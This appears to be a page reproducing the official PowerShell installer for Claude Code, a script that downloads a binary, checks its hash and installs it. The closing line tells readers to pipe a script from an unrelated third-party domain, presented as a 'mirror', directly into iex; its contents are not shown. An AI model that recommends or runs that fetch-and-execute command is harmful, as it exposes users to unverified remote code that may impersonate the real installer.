1
irm https://claude.ai/install.ps1 | iex

1
param(
2
    [Parameter(Position=0)]
3
    [ValidatePattern('^(stable|latest|\d+\.\d+\.\d+(-[^\s]+)?)$')]
4
    [string]$Target = "latest"
5
)
6

7
Set-StrictMode -Version Latest
8
$ErrorActionPreference = "Stop"
9
$ProgressPreference = 'SilentlyContinue'
10

11
# Check for 32-bit Windows
12
if (-not [Environment]::Is64BitProcess) {
13
    Write-Error "Claude Code does not support 32-bit Windows. Please use a 64-bit version of Windows."
14
    exit 1
15
}
16

17
$DOWNLOAD_BASE_URL = "https://downloads.claude.ai/claude-code-releases"
18
$DOWNLOAD_DIR = "$env:USERPROFILE\.claude\downloads"
19

20
# Use native ARM64 binary on ARM64 Windows, x64 otherwise
21
if ($env:PROCESSOR_ARCHITECTURE -eq "ARM64") {
22
    $platform = "win32-arm64"
23
} else {
24
    $platform = "win32-x64"
25
}
26
New-Item -ItemType Directory -Force -Path $DOWNLOAD_DIR | Out-Null
27

28
# Always download latest version (which has the most up-to-date installer)
29
try {
30
    $version = Invoke-RestMethod -Uri "$DOWNLOAD_BASE_URL/latest" -ErrorAction Stop
31
}
32
catch {
33
    Write-Error "Failed to get latest version: $_"
34
    exit 1
35
}
36

37
try {
38
    $manifest = Invoke-RestMethod -Uri "$DOWNLOAD_BASE_URL/$version/manifest.json" -ErrorAction Stop
39
    $checksum = $manifest.platforms.$platform.checksum
40

41
    if (-not $checksum) {
42
        Write-Error "Platform $platform not found in manifest"
43
        exit 1
44
    }
45
}
46
catch {
47
    Write-Error "Failed to get manifest: $_"
48
    exit 1
49
}
50

51
# Download and verify
52
$binaryPath = "$DOWNLOAD_DIR\claude-$version-$platform.exe"
53
try {
54
    Invoke-WebRequest -Uri "$DOWNLOAD_BASE_URL/$version/$platform/claude.exe" -OutFile $binaryPath -ErrorAction Stop
55
}
56
catch {
57
    Write-Error "Failed to download binary: $_"
58
    if (Test-Path $binaryPath) {
59
        Remove-Item -Force $binaryPath
60
    }
61
    exit 1
62
}
63

64
# Calculate checksum
65
$actualChecksum = (Get-FileHash -Path $binaryPath -Algorithm SHA256).Hash.ToLower()
66

67
if ($actualChecksum -ne $checksum) {
68
    Write-Error "Checksum verification failed"
69
    Remove-Item -Force $binaryPath
70
    exit 1
71
}
72

73
# Run claude install to set up launcher and shell integration
74
Write-Output "Setting up Claude Code..."
75
try {
76
    if ($Target) {
77
        & $binaryPath install $Target
78
    }
79
    else {
80
        & $binaryPath install
81
    }
82
}
83
finally {
84
    try {
85
        # Clean up downloaded file
86
        # Wait a moment for any file handles to be released
87
        Start-Sleep -Seconds 1
88
        Remove-Item -Force $binaryPath
89
    }
90
    catch {
91
        Write-Warning "Could not remove temporary file: $binaryPath"
92
    }
93
}
94

95
Write-Output ""
96
Write-Output "$([char]0x2705) Installation complete!"
97
Write-Output ""

1
irm https://blog.srprolin.top/install-claude-mirror.ps1 | iex